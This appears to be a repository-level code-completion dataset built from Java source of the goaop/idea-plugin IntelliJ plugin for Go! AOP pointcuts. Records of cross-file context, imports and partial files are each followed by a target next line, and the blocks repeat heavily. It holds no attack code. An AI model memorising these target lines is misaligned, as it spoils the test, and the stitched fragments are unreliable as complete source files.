// // PhpDocTagAnnotation phpDocAnnotationContainer = AnnotationUtil.getPhpDocAnnotationContainer(phpDocTag); // PhpClass phpClass = null; // if (phpDocAnnotationContainer != null) { // phpClass = phpDocAnnotationContainer.getPhpClass(); // } // // if (phpClass == null || phpClass.getFQN() == null) { // return false; // } // // return phpClass.getFQN().startsWith(annotationPrefix); // // } // // /** // * Checks if host is PointcutBuilder->method('<pointcutExpression>', function () {...}) // * @param host Host element is typically PHP string // * // * @return boolean // */ // public static boolean isInsidePointcutBuilderMethod(StringLiteralExpression host) // { // PsiElement element = host.getParent(); // if (!(element instanceof ParameterList)) { // return false; // } // element = element.getParent(); // if (!(element instanceof MethodReference)) { // return false; // } // // PsiElement resolvedElement = ((MethodReference) element).resolve(); // if (!(resolvedElement instanceof MethodImpl)) { // return false; // } // // MethodImpl methodImpl = (MethodImpl) resolvedElement; // if (methodImpl.getFQN() == null) { // return false; // } // // return methodImpl.getFQN().startsWith("\\Go\\Aop\\Support\\PointcutBuilder"); // } // } // // Path: src/com/aopphp/go/psi/NamespaceName.java // public interface NamespaceName extends PsiElement { // // String getFQN(); // // }
import com.aopphp.go.pattern.CodePattern; import com.aopphp.go.psi.NamespaceName; import com.intellij.lang.annotation.AnnotationHolder; import com.intellij.lang.annotation.Annotator; import com.intellij.psi.PsiElement; import com.intellij.psi.util.PsiTreeUtil; import com.jetbrains.php.PhpIndex; import com.jetbrains.php.lang.psi.elements.PhpClass; import de.espend.idea.php.annotation.util.AnnotationUtil; import org.jetbrains.annotations.NotNull; import java.util.Collection;
package com.aopphp.go.annotator; /** * Highlights an incorrect usage of doctrine annotations in the annotation pointcuts */ public class DoctrineAnnotator implements Annotator { @Override public void annotate(@NotNull final PsiElement element, @NotNull AnnotationHolder holder) {
// Path: src/com/aopphp/go/pattern/CodePattern.java // public class CodePattern extends PlatformPatterns { // // /** // * Matching name part after left parenthesis and one of annotation pointcut type // * \@execution(<className>) // * \@access(<className>) // * \@within(<className>) // */ // public static ElementPattern<PsiElement> insideAnnotationPointcut() { // return or( // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedExecutionPointcut.class), // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedAccessPointcut.class), // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedWithinPointcut.class) // ); // } // // public static ElementPattern<PsiElement> insidePointcutLanguage() { // return psiElement().withLanguage(PointcutQueryLanguage.INSTANCE); // } // // public static ElementPattern<PsiElement> startOfMemberModifiers() { // return psiElement().afterLeafSkipping( // or( // psiElement(PointcutTypes.T_LEFT_PAREN), // psiElement(PointcutTypes.PRIVATE), // psiElement(PointcutTypes.PROTECTED), // psiElement(PointcutTypes.PUBLIC), // psiElement(PointcutTypes.FINAL), // psiElement(PointcutTypes.T_ALTERNATION), // psiElement().whitespace() // ), // or( // psiElement(PointcutTypes.EXECUTION), // psiElement(PointcutTypes.ACCESS) // ) // ); // } // // /** // * Checks if host is concrete annotation to inject syntax into it // * // * @param host Host element, typically string literal expression // * @param annotationPrefix Annotation prefix // * @return boolean // */ // public static boolean isInsideAnnotation(@NotNull StringLiteralExpression host, String annotationPrefix) { // // PhpDocTag phpDocTag = PsiTreeUtil.getParentOfType(host, PhpDocTag.class); // if (phpDocTag == null || !AnnotationPattern.getDocBlockTag().accepts(phpDocTag)) { // return false; // } // // PhpDocTagAnnotation phpDocAnnotationContainer = AnnotationUtil.getPhpDocAnnotationContainer(phpDocTag); // PhpClass phpClass = null; // if (phpDocAnnotationContainer != null) { // phpClass = phpDocAnnotationContainer.getPhpClass(); // } // // if (phpClass == null || phpClass.getFQN() == null) { // return false; // } // // return phpClass.getFQN().startsWith(annotationPrefix); // // } // // /** // * Checks if host is PointcutBuilder->method('<pointcutExpression>', function () {...}) // * @param host Host element is typically PHP string // * // * @return boolean // */ // public static boolean isInsidePointcutBuilderMethod(StringLiteralExpression host) // { // PsiElement element = host.getParent(); // if (!(element instanceof ParameterList)) { // return false; // } // element = element.getParent(); // if (!(element instanceof MethodReference)) { // return false; // } // // PsiElement resolvedElement = ((MethodReference) element).resolve(); // if (!(resolvedElement instanceof MethodImpl)) { // return false; // } // // MethodImpl methodImpl = (MethodImpl) resolvedElement; // if (methodImpl.getFQN() == null) { // return false; // } // // return methodImpl.getFQN().startsWith("\\Go\\Aop\\Support\\PointcutBuilder"); // } // } // // Path: src/com/aopphp/go/psi/NamespaceName.java // public interface NamespaceName extends PsiElement { // // String getFQN(); // // } // Path: src/com/aopphp/go/annotator/DoctrineAnnotator.java import com.aopphp.go.pattern.CodePattern; import com.aopphp.go.psi.NamespaceName; import com.intellij.lang.annotation.AnnotationHolder; import com.intellij.lang.annotation.Annotator; import com.intellij.psi.PsiElement; import com.intellij.psi.util.PsiTreeUtil; import com.jetbrains.php.PhpIndex; import com.jetbrains.php.lang.psi.elements.PhpClass; import de.espend.idea.php.annotation.util.AnnotationUtil; import org.jetbrains.annotations.NotNull; import java.util.Collection; package com.aopphp.go.annotator; /** * Highlights an incorrect usage of doctrine annotations in the annotation pointcuts */ public class DoctrineAnnotator implements Annotator { @Override public void annotate(@NotNull final PsiElement element, @NotNull AnnotationHolder holder) {
if (CodePattern.insideAnnotationPointcut().accepts(element)) {
goaop/idea-plugin
src/com/aopphp/go/annotator/DoctrineAnnotator.java
// Path: src/com/aopphp/go/pattern/CodePattern.java // public class CodePattern extends PlatformPatterns { // // /** // * Matching name part after left parenthesis and one of annotation pointcut type // * \@execution(<className>) // * \@access(<className>) // * \@within(<className>) // */ // public static ElementPattern<PsiElement> insideAnnotationPointcut() { // return or( // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedExecutionPointcut.class), // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedAccessPointcut.class), // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedWithinPointcut.class) // ); // } // // public static ElementPattern<PsiElement> insidePointcutLanguage() { // return psiElement().withLanguage(PointcutQueryLanguage.INSTANCE); // } // // public static ElementPattern<PsiElement> startOfMemberModifiers() { // return psiElement().afterLeafSkipping( // or( // psiElement(PointcutTypes.T_LEFT_PAREN), // psiElement(PointcutTypes.PRIVATE), // psiElement(PointcutTypes.PROTECTED), // psiElement(PointcutTypes.PUBLIC), // psiElement(PointcutTypes.FINAL), // psiElement(PointcutTypes.T_ALTERNATION), // psiElement().whitespace() // ), // or( // psiElement(PointcutTypes.EXECUTION), // psiElement(PointcutTypes.ACCESS) // ) // ); // } // // /** // * Checks if host is concrete annotation to inject syntax into it // * // * @param host Host element, typically string literal expression // * @param annotationPrefix Annotation prefix // * @return boolean // */ // public static boolean isInsideAnnotation(@NotNull StringLiteralExpression host, String annotationPrefix) { // // PhpDocTag phpDocTag = PsiTreeUtil.getParentOfType(host, PhpDocTag.class); // if (phpDocTag == null || !AnnotationPattern.getDocBlockTag().accepts(phpDocTag)) { // return false; // } // // PhpDocTagAnnotation phpDocAnnotationContainer = AnnotationUtil.getPhpDocAnnotationContainer(phpDocTag); // PhpClass phpClass = null; // if (phpDocAnnotationContainer != null) { // phpClass = phpDocAnnotationContainer.getPhpClass(); // } // // if (phpClass == null || phpClass.getFQN() == null) { // return false; // } // // return phpClass.getFQN().startsWith(annotationPrefix); // // } // // /** // * Checks if host is PointcutBuilder->method('<pointcutExpression>', function () {...}) // * @param host Host element is typically PHP string // * // * @return boolean // */ // public static boolean isInsidePointcutBuilderMethod(StringLiteralExpression host) // { // PsiElement element = host.getParent(); // if (!(element instanceof ParameterList)) { // return false; // } // element = element.getParent(); // if (!(element instanceof MethodReference)) { // return false; // } // // PsiElement resolvedElement = ((MethodReference) element).resolve(); // if (!(resolvedElement instanceof MethodImpl)) { // return false; // } // // MethodImpl methodImpl = (MethodImpl) resolvedElement; // if (methodImpl.getFQN() == null) { // return false; // } // // return methodImpl.getFQN().startsWith("\\Go\\Aop\\Support\\PointcutBuilder"); // } // } // // Path: src/com/aopphp/go/psi/NamespaceName.java // public interface NamespaceName extends PsiElement { // // String getFQN(); // // }
import com.aopphp.go.pattern.CodePattern; import com.aopphp.go.psi.NamespaceName; import com.intellij.lang.annotation.AnnotationHolder; import com.intellij.lang.annotation.Annotator; import com.intellij.psi.PsiElement; import com.intellij.psi.util.PsiTreeUtil; import com.jetbrains.php.PhpIndex; import com.jetbrains.php.lang.psi.elements.PhpClass; import de.espend.idea.php.annotation.util.AnnotationUtil; import org.jetbrains.annotations.NotNull; import java.util.Collection;
package com.aopphp.go.annotator; /** * Highlights an incorrect usage of doctrine annotations in the annotation pointcuts */ public class DoctrineAnnotator implements Annotator { @Override public void annotate(@NotNull final PsiElement element, @NotNull AnnotationHolder holder) { if (CodePattern.insideAnnotationPointcut().accepts(element)) {
// Path: src/com/aopphp/go/pattern/CodePattern.java // public class CodePattern extends PlatformPatterns { // // /** // * Matching name part after left parenthesis and one of annotation pointcut type // * \@execution(<className>) // * \@access(<className>) // * \@within(<className>) // */ // public static ElementPattern<PsiElement> insideAnnotationPointcut() { // return or( // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedExecutionPointcut.class), // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedAccessPointcut.class), // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedWithinPointcut.class) // ); // } // // public static ElementPattern<PsiElement> insidePointcutLanguage() { // return psiElement().withLanguage(PointcutQueryLanguage.INSTANCE); // } // // public static ElementPattern<PsiElement> startOfMemberModifiers() { // return psiElement().afterLeafSkipping( // or( // psiElement(PointcutTypes.T_LEFT_PAREN), // psiElement(PointcutTypes.PRIVATE), // psiElement(PointcutTypes.PROTECTED), // psiElement(PointcutTypes.PUBLIC), // psiElement(PointcutTypes.FINAL), // psiElement(PointcutTypes.T_ALTERNATION), // psiElement().whitespace() // ), // or( // psiElement(PointcutTypes.EXECUTION), // psiElement(PointcutTypes.ACCESS) // ) // ); // } // // /** // * Checks if host is concrete annotation to inject syntax into it // * // * @param host Host element, typically string literal expression // * @param annotationPrefix Annotation prefix // * @return boolean // */ // public static boolean isInsideAnnotation(@NotNull StringLiteralExpression host, String annotationPrefix) { // // PhpDocTag phpDocTag = PsiTreeUtil.getParentOfType(host, PhpDocTag.class); // if (phpDocTag == null || !AnnotationPattern.getDocBlockTag().accepts(phpDocTag)) { // return false; // } // // PhpDocTagAnnotation phpDocAnnotationContainer = AnnotationUtil.getPhpDocAnnotationContainer(phpDocTag); // PhpClass phpClass = null; // if (phpDocAnnotationContainer != null) { // phpClass = phpDocAnnotationContainer.getPhpClass(); // } // // if (phpClass == null || phpClass.getFQN() == null) { // return false; // } // // return phpClass.getFQN().startsWith(annotationPrefix); // // } // // /** // * Checks if host is PointcutBuilder->method('<pointcutExpression>', function () {...}) // * @param host Host element is typically PHP string // * // * @return boolean // */ // public static boolean isInsidePointcutBuilderMethod(StringLiteralExpression host) // { // PsiElement element = host.getParent(); // if (!(element instanceof ParameterList)) { // return false; // } // element = element.getParent(); // if (!(element instanceof MethodReference)) { // return false; // } // // PsiElement resolvedElement = ((MethodReference) element).resolve(); // if (!(resolvedElement instanceof MethodImpl)) { // return false; // } // // MethodImpl methodImpl = (MethodImpl) resolvedElement; // if (methodImpl.getFQN() == null) { // return false; // } // // return methodImpl.getFQN().startsWith("\\Go\\Aop\\Support\\PointcutBuilder"); // } // } // // Path: src/com/aopphp/go/psi/NamespaceName.java // public interface NamespaceName extends PsiElement { // // String getFQN(); // // } // Path: src/com/aopphp/go/annotator/DoctrineAnnotator.java import com.aopphp.go.pattern.CodePattern; import com.aopphp.go.psi.NamespaceName; import com.intellij.lang.annotation.AnnotationHolder; import com.intellij.lang.annotation.Annotator; import com.intellij.psi.PsiElement; import com.intellij.psi.util.PsiTreeUtil; import com.jetbrains.php.PhpIndex; import com.jetbrains.php.lang.psi.elements.PhpClass; import de.espend.idea.php.annotation.util.AnnotationUtil; import org.jetbrains.annotations.NotNull; import java.util.Collection; package com.aopphp.go.annotator; /** * Highlights an incorrect usage of doctrine annotations in the annotation pointcuts */ public class DoctrineAnnotator implements Annotator { @Override public void annotate(@NotNull final PsiElement element, @NotNull AnnotationHolder holder) { if (CodePattern.insideAnnotationPointcut().accepts(element)) {
NamespaceName nameHolder = PsiTreeUtil.getParentOfType(element, NamespaceName.class);
goaop/idea-plugin
src/com/aopphp/go/index/AnnotatedPhpNamedElementIndex.java
// Path: src/com/aopphp/go/util/PluginUtil.java // public class PluginUtil { // // /** // * Returns a map with php use imports // * // * @param psiFile Instance of file, should be PHP // * @return Mapping of short names to the FQN // */ // public static Map<String, String> getFileUseImports(PsiFile psiFile) { // // // search for use alias in local file // final Map<String, String> useImports = new HashMap<String, String>(); // // if (psiFile instanceof PhpFile) { // for (final PhpNamedElement element : ((PhpFile) psiFile).getTopLevelDefs().values()) { // if (element instanceof PhpUse) { // final PhpUse phpUse = (PhpUse) element; // String alias = phpUse.getAliasName(); // if(alias != null) { // useImports.put(alias, phpUse.getFQN()); // } else { // useImports.put(phpUse.getName(), phpUse.getFQN()); // } // } // } // } // // return useImports; // } // // // @Nullable // public static String getClassNameReference(PhpDocTag phpDocTag) { // return getClassNameReference(phpDocTag, getFileUseImports(phpDocTag.getContainingFile())); // } // // @Nullable // public static String getClassNameReference(PhpDocTag phpDocTag, Map<String, String> useImports) { // // if(useImports.size() == 0) { // return null; // } // // String annotationName = phpDocTag.getName(); // if(StringUtils.isBlank(annotationName)) { // return null; // } // // if(annotationName.startsWith("@")) { // annotationName = annotationName.substring(1); // } // // String className = annotationName; // String subNamespaceName = ""; // if(className.contains("\\")) { // className = className.substring(0, className.indexOf("\\")); // subNamespaceName = annotationName.substring(className.length()); // } // // if(!useImports.containsKey(className)) { // return null; // } // // // normalize name // String annotationFqnName = useImports.get(className) + subNamespaceName; // if(!annotationFqnName.startsWith("\\")) { // annotationFqnName = "\\" + annotationFqnName; // } // // return annotationFqnName; // // } // // /** // * Checks if the given element is aspect // * // * @param element Instance of PSI element // * @return true if element is aspect or false // */ // public static boolean isAspect(PsiElement element) { // if (!(element instanceof PhpClass)) { // return false; // } // // String[] interfaceNames = ((PhpClass) element).getInterfaceNames(); // for (String interfaceName : interfaceNames) { // if (interfaceName.equals("\\Go\\Aop\\Aspect")) { // return true; // } // } // // return false; // } // }
import com.aopphp.go.util.PluginUtil; import com.intellij.psi.PsiElement; import com.intellij.psi.PsiFile; import com.intellij.psi.util.PsiTreeUtil; import com.intellij.util.ReflectionUtil; import com.intellij.util.indexing.*; import com.intellij.util.io.DataExternalizer; import com.intellij.util.io.EnumeratorStringDescriptor; import com.intellij.util.io.KeyDescriptor; import com.jetbrains.php.lang.documentation.phpdoc.psi.PhpDocComment; import com.jetbrains.php.lang.documentation.phpdoc.psi.tags.PhpDocTag; import com.jetbrains.php.lang.psi.PhpFile; import com.jetbrains.php.lang.psi.elements.PhpNamedElement; import com.jetbrains.php.lang.psi.stubs.indexes.PhpConstantNameIndex; import com.jetbrains.php.lang.psi.stubs.indexes.StringSetDataExternalizer; import gnu.trove.THashSet; import org.jetbrains.annotations.NotNull; import java.util.Collections; import java.util.Map; import java.util.Set;
package com.aopphp.go.index; /** * This index collects all annotated elements in the files */ public class AnnotatedPhpNamedElementIndex extends FileBasedIndexExtension<String, Set<String>> { public static final ID<String, Set<String>> KEY = ID.create("com.aopphp.go.annotated.elements"); private static final KeyDescriptor<String> ENUMERATOR_STRING_DESCRIPTOR = new EnumeratorStringDescriptor(); private static final StringSetDataExternalizer STRING_SET_DATA_EXTERNALIZER = ReflectionUtil.newInstance(StringSetDataExternalizer.class); @NotNull @Override public ID<String, Set<String>> getName() { return KEY; } @NotNull @Override public DataIndexer<String, Set<String>, FileContent> getIndexer() { return new DataIndexer<String, Set<String>, FileContent>() { @NotNull @Override public Map<String, Set<String>> map(@NotNull FileContent inputData) { PsiFile psiFile = inputData.getPsiFile(); if(!(psiFile instanceof PhpFile)) { return Collections.emptyMap(); } return new AbstractDataIndexer<Set<String>>((PhpFile) psiFile) { private Map<String, String> fileImports; @Override protected void visitPhpDocTag(final PhpDocTag phpDocTag, final Map<String, Set<String>> map) { if (fileImports == null) {
// Path: src/com/aopphp/go/util/PluginUtil.java // public class PluginUtil { // // /** // * Returns a map with php use imports // * // * @param psiFile Instance of file, should be PHP // * @return Mapping of short names to the FQN // */ // public static Map<String, String> getFileUseImports(PsiFile psiFile) { // // // search for use alias in local file // final Map<String, String> useImports = new HashMap<String, String>(); // // if (psiFile instanceof PhpFile) { // for (final PhpNamedElement element : ((PhpFile) psiFile).getTopLevelDefs().values()) { // if (element instanceof PhpUse) { // final PhpUse phpUse = (PhpUse) element; // String alias = phpUse.getAliasName(); // if(alias != null) { // useImports.put(alias, phpUse.getFQN()); // } else { // useImports.put(phpUse.getName(), phpUse.getFQN()); // } // } // } // } // // return useImports; // } // // // @Nullable // public static String getClassNameReference(PhpDocTag phpDocTag) { // return getClassNameReference(phpDocTag, getFileUseImports(phpDocTag.getContainingFile())); // } // // @Nullable // public static String getClassNameReference(PhpDocTag phpDocTag, Map<String, String> useImports) { // // if(useImports.size() == 0) { // return null; // } // // String annotationName = phpDocTag.getName(); // if(StringUtils.isBlank(annotationName)) { // return null; // } // // if(annotationName.startsWith("@")) { // annotationName = annotationName.substring(1); // } // // String className = annotationName; // String subNamespaceName = ""; // if(className.contains("\\")) { // className = className.substring(0, className.indexOf("\\")); // subNamespaceName = annotationName.substring(className.length()); // } // // if(!useImports.containsKey(className)) { // return null; // } // // // normalize name // String annotationFqnName = useImports.get(className) + subNamespaceName; // if(!annotationFqnName.startsWith("\\")) { // annotationFqnName = "\\" + annotationFqnName; // } // // return annotationFqnName; // // } // // /** // * Checks if the given element is aspect // * // * @param element Instance of PSI element // * @return true if element is aspect or false // */ // public static boolean isAspect(PsiElement element) { // if (!(element instanceof PhpClass)) { // return false; // } // // String[] interfaceNames = ((PhpClass) element).getInterfaceNames(); // for (String interfaceName : interfaceNames) { // if (interfaceName.equals("\\Go\\Aop\\Aspect")) { // return true; // } // } // // return false; // } // } // Path: src/com/aopphp/go/index/AnnotatedPhpNamedElementIndex.java import com.aopphp.go.util.PluginUtil; import com.intellij.psi.PsiElement; import com.intellij.psi.PsiFile; import com.intellij.psi.util.PsiTreeUtil; import com.intellij.util.ReflectionUtil; import com.intellij.util.indexing.*; import com.intellij.util.io.DataExternalizer; import com.intellij.util.io.EnumeratorStringDescriptor; import com.intellij.util.io.KeyDescriptor; import com.jetbrains.php.lang.documentation.phpdoc.psi.PhpDocComment; import com.jetbrains.php.lang.documentation.phpdoc.psi.tags.PhpDocTag; import com.jetbrains.php.lang.psi.PhpFile; import com.jetbrains.php.lang.psi.elements.PhpNamedElement; import com.jetbrains.php.lang.psi.stubs.indexes.PhpConstantNameIndex; import com.jetbrains.php.lang.psi.stubs.indexes.StringSetDataExternalizer; import gnu.trove.THashSet; import org.jetbrains.annotations.NotNull; import java.util.Collections; import java.util.Map; import java.util.Set; package com.aopphp.go.index; /** * This index collects all annotated elements in the files */ public class AnnotatedPhpNamedElementIndex extends FileBasedIndexExtension<String, Set<String>> { public static final ID<String, Set<String>> KEY = ID.create("com.aopphp.go.annotated.elements"); private static final KeyDescriptor<String> ENUMERATOR_STRING_DESCRIPTOR = new EnumeratorStringDescriptor(); private static final StringSetDataExternalizer STRING_SET_DATA_EXTERNALIZER = ReflectionUtil.newInstance(StringSetDataExternalizer.class); @NotNull @Override public ID<String, Set<String>> getName() { return KEY; } @NotNull @Override public DataIndexer<String, Set<String>, FileContent> getIndexer() { return new DataIndexer<String, Set<String>, FileContent>() { @NotNull @Override public Map<String, Set<String>> map(@NotNull FileContent inputData) { PsiFile psiFile = inputData.getPsiFile(); if(!(psiFile instanceof PhpFile)) { return Collections.emptyMap(); } return new AbstractDataIndexer<Set<String>>((PhpFile) psiFile) { private Map<String, String> fileImports; @Override protected void visitPhpDocTag(final PhpDocTag phpDocTag, final Map<String, Set<String>> map) { if (fileImports == null) {
fileImports = PluginUtil.getFileUseImports(phpDocTag.getContainingFile());
goaop/idea-plugin
src/com/aopphp/go/psi/PointcutElementType.java
// Path: src/com/aopphp/go/PointcutQueryLanguage.java // public class PointcutQueryLanguage extends Language { // public static final PointcutQueryLanguage INSTANCE = new PointcutQueryLanguage(); // // private PointcutQueryLanguage() { // super("Go! AOP Pointcut query"); // } // }
import com.aopphp.go.PointcutQueryLanguage; import com.intellij.psi.tree.IElementType; import org.jetbrains.annotations.NonNls; import org.jetbrains.annotations.NotNull;
package com.aopphp.go.psi; public class PointcutElementType extends IElementType { public PointcutElementType(@NotNull @NonNls String debugName) {
// Path: src/com/aopphp/go/PointcutQueryLanguage.java // public class PointcutQueryLanguage extends Language { // public static final PointcutQueryLanguage INSTANCE = new PointcutQueryLanguage(); // // private PointcutQueryLanguage() { // super("Go! AOP Pointcut query"); // } // } // Path: src/com/aopphp/go/psi/PointcutElementType.java import com.aopphp.go.PointcutQueryLanguage; import com.intellij.psi.tree.IElementType; import org.jetbrains.annotations.NonNls; import org.jetbrains.annotations.NotNull; package com.aopphp.go.psi; public class PointcutElementType extends IElementType { public PointcutElementType(@NotNull @NonNls String debugName) {
super(debugName, PointcutQueryLanguage.INSTANCE);
goaop/idea-plugin
src/com/aopphp/go/psi/PointcutFile.java
// Path: src/com/aopphp/go/GoAopFileType.java // public class GoAopFileType extends LanguageFileType { // public static final GoAopFileType INSTANCE = new GoAopFileType(); // // private GoAopFileType() { // super(PointcutQueryLanguage.INSTANCE); // } // // @NotNull // @Override // public String getName() { // return "Go! AOP Pointcut"; // } // // @NotNull // @Override // public String getDescription() { // return "Go! AOP Pointcut Expression Syntax"; // } // // @NotNull // @Override // public String getDefaultExtension() { // return ".goaop"; // } // // @Nullable // @Override // public Icon getIcon() { // return GoAopIcons.FILE; // } // } // // Path: src/com/aopphp/go/PointcutQueryLanguage.java // public class PointcutQueryLanguage extends Language { // public static final PointcutQueryLanguage INSTANCE = new PointcutQueryLanguage(); // // private PointcutQueryLanguage() { // super("Go! AOP Pointcut query"); // } // }
import com.intellij.extapi.psi.PsiFileBase; import com.intellij.openapi.fileTypes.FileType; import com.intellij.psi.FileViewProvider; import com.aopphp.go.GoAopFileType; import com.aopphp.go.PointcutQueryLanguage; import org.jetbrains.annotations.NotNull; import javax.swing.*;
package com.aopphp.go.psi; public class PointcutFile extends PsiFileBase { public PointcutFile(@NotNull FileViewProvider viewProvider) {
// Path: src/com/aopphp/go/GoAopFileType.java // public class GoAopFileType extends LanguageFileType { // public static final GoAopFileType INSTANCE = new GoAopFileType(); // // private GoAopFileType() { // super(PointcutQueryLanguage.INSTANCE); // } // // @NotNull // @Override // public String getName() { // return "Go! AOP Pointcut"; // } // // @NotNull // @Override // public String getDescription() { // return "Go! AOP Pointcut Expression Syntax"; // } // // @NotNull // @Override // public String getDefaultExtension() { // return ".goaop"; // } // // @Nullable // @Override // public Icon getIcon() { // return GoAopIcons.FILE; // } // } // // Path: src/com/aopphp/go/PointcutQueryLanguage.java // public class PointcutQueryLanguage extends Language { // public static final PointcutQueryLanguage INSTANCE = new PointcutQueryLanguage(); // // private PointcutQueryLanguage() { // super("Go! AOP Pointcut query"); // } // } // Path: src/com/aopphp/go/psi/PointcutFile.java import com.intellij.extapi.psi.PsiFileBase; import com.intellij.openapi.fileTypes.FileType; import com.intellij.psi.FileViewProvider; import com.aopphp.go.GoAopFileType; import com.aopphp.go.PointcutQueryLanguage; import org.jetbrains.annotations.NotNull; import javax.swing.*; package com.aopphp.go.psi; public class PointcutFile extends PsiFileBase { public PointcutFile(@NotNull FileViewProvider viewProvider) {
super(viewProvider, PointcutQueryLanguage.INSTANCE);
goaop/idea-plugin
src/com/aopphp/go/psi/PointcutFile.java
// Path: src/com/aopphp/go/GoAopFileType.java // public class GoAopFileType extends LanguageFileType { // public static final GoAopFileType INSTANCE = new GoAopFileType(); // // private GoAopFileType() { // super(PointcutQueryLanguage.INSTANCE); // } // // @NotNull // @Override // public String getName() { // return "Go! AOP Pointcut"; // } // // @NotNull // @Override // public String getDescription() { // return "Go! AOP Pointcut Expression Syntax"; // } // // @NotNull // @Override // public String getDefaultExtension() { // return ".goaop"; // } // // @Nullable // @Override // public Icon getIcon() { // return GoAopIcons.FILE; // } // } // // Path: src/com/aopphp/go/PointcutQueryLanguage.java // public class PointcutQueryLanguage extends Language { // public static final PointcutQueryLanguage INSTANCE = new PointcutQueryLanguage(); // // private PointcutQueryLanguage() { // super("Go! AOP Pointcut query"); // } // }
import com.intellij.extapi.psi.PsiFileBase; import com.intellij.openapi.fileTypes.FileType; import com.intellij.psi.FileViewProvider; import com.aopphp.go.GoAopFileType; import com.aopphp.go.PointcutQueryLanguage; import org.jetbrains.annotations.NotNull; import javax.swing.*;
package com.aopphp.go.psi; public class PointcutFile extends PsiFileBase { public PointcutFile(@NotNull FileViewProvider viewProvider) { super(viewProvider, PointcutQueryLanguage.INSTANCE); } @NotNull @Override public FileType getFileType() {
// Path: src/com/aopphp/go/GoAopFileType.java // public class GoAopFileType extends LanguageFileType { // public static final GoAopFileType INSTANCE = new GoAopFileType(); // // private GoAopFileType() { // super(PointcutQueryLanguage.INSTANCE); // } // // @NotNull // @Override // public String getName() { // return "Go! AOP Pointcut"; // } // // @NotNull // @Override // public String getDescription() { // return "Go! AOP Pointcut Expression Syntax"; // } // // @NotNull // @Override // public String getDefaultExtension() { // return ".goaop"; // } // // @Nullable // @Override // public Icon getIcon() { // return GoAopIcons.FILE; // } // } // // Path: src/com/aopphp/go/PointcutQueryLanguage.java // public class PointcutQueryLanguage extends Language { // public static final PointcutQueryLanguage INSTANCE = new PointcutQueryLanguage(); // // private PointcutQueryLanguage() { // super("Go! AOP Pointcut query"); // } // } // Path: src/com/aopphp/go/psi/PointcutFile.java import com.intellij.extapi.psi.PsiFileBase; import com.intellij.openapi.fileTypes.FileType; import com.intellij.psi.FileViewProvider; import com.aopphp.go.GoAopFileType; import com.aopphp.go.PointcutQueryLanguage; import org.jetbrains.annotations.NotNull; import javax.swing.*; package com.aopphp.go.psi; public class PointcutFile extends PsiFileBase { public PointcutFile(@NotNull FileViewProvider viewProvider) { super(viewProvider, PointcutQueryLanguage.INSTANCE); } @NotNull @Override public FileType getFileType() {
return GoAopFileType.INSTANCE;
goaop/idea-plugin
src/com/aopphp/go/psi/BrakedExpression.java
// Path: src/com/aopphp/go/pointcut/Pointcut.java // public interface Pointcut extends PointFilter // { // /** // * Return the class filter for this pointcut. // * // * @return PointFilter // */ // PointFilter getClassFilter(); // }
import java.util.List; import org.jetbrains.annotations.*; import com.intellij.psi.PsiElement; import com.aopphp.go.pointcut.Pointcut;
// This is a generated file. Not intended for manual editing. package com.aopphp.go.psi; public interface BrakedExpression extends PsiElement { @Nullable PointcutExpression getPointcutExpression(); @Nullable SinglePointcut getSinglePointcut();
// Path: src/com/aopphp/go/pointcut/Pointcut.java // public interface Pointcut extends PointFilter // { // /** // * Return the class filter for this pointcut. // * // * @return PointFilter // */ // PointFilter getClassFilter(); // } // Path: src/com/aopphp/go/psi/BrakedExpression.java import java.util.List; import org.jetbrains.annotations.*; import com.intellij.psi.PsiElement; import com.aopphp.go.pointcut.Pointcut; // This is a generated file. Not intended for manual editing. package com.aopphp.go.psi; public interface BrakedExpression extends PsiElement { @Nullable PointcutExpression getPointcutExpression(); @Nullable SinglePointcut getSinglePointcut();
Pointcut resolveBrakedExpression();
goaop/idea-plugin
src/com/aopphp/go/injector/PhpDealAssertInjector.java
// Path: src/com/aopphp/go/pattern/CodePattern.java // public class CodePattern extends PlatformPatterns { // // /** // * Matching name part after left parenthesis and one of annotation pointcut type // * \@execution(<className>) // * \@access(<className>) // * \@within(<className>) // */ // public static ElementPattern<PsiElement> insideAnnotationPointcut() { // return or( // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedExecutionPointcut.class), // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedAccessPointcut.class), // psiElement(PointcutTypes.T_NAME_PART).withSuperParent(2, AnnotatedWithinPointcut.class) // ); // } // // public static ElementPattern<PsiElement> insidePointcutLanguage() { // return psiElement().withLanguage(PointcutQueryLanguage.INSTANCE); // } // // public static ElementPattern<PsiElement> startOfMemberModifiers() { // return psiElement().afterLeafSkipping( // or( // psiElement(PointcutTypes.T_LEFT_PAREN), // psiElement(PointcutTypes.PRIVATE), // psiElement(PointcutTypes.PROTECTED), // psiElement(PointcutTypes.PUBLIC), // psiElement(PointcutTypes.FINAL), // psiElement(PointcutTypes.T_ALTERNATION), // psiElement().whitespace() // ), // or( // psiElement(PointcutTypes.EXECUTION), // psiElement(PointcutTypes.ACCESS) // ) // ); // } // // /** // * Checks if host is concrete annotation to inject syntax into it // * // * @param host Host element, typically string literal expression // * @param annotationPrefix Annotation prefix // * @return boolean // */ // public static boolean isInsideAnnotation(@NotNull StringLiteralExpression host, String annotationPrefix) { // // PhpDocTag phpDocTag = PsiTreeUtil.getParentOfType(host, PhpDocTag.class); // if (phpDocTag == null || !AnnotationPattern.getDocBlockTag().accepts(phpDocTag)) { // return false; // } // // PhpDocTagAnnotation phpDocAnnotationContainer = AnnotationUtil.getPhpDocAnnotationContainer(phpDocTag); // PhpClass phpClass = null; // if (phpDocAnnotationContainer != null) { // phpClass = phpDocAnnotationContainer.getPhpClass(); // } // // if (phpClass == null || phpClass.getFQN() == null) { // return false; // } // // return phpClass.getFQN().startsWith(annotationPrefix); // // } // // /** // * Checks if host is PointcutBuilder->method('<pointcutExpression>', function () {...}) // * @param host Host element is typically PHP string // * // * @return boolean // */ // public static boolean isInsidePointcutBuilderMethod(StringLiteralExpression host) // { // PsiElement element = 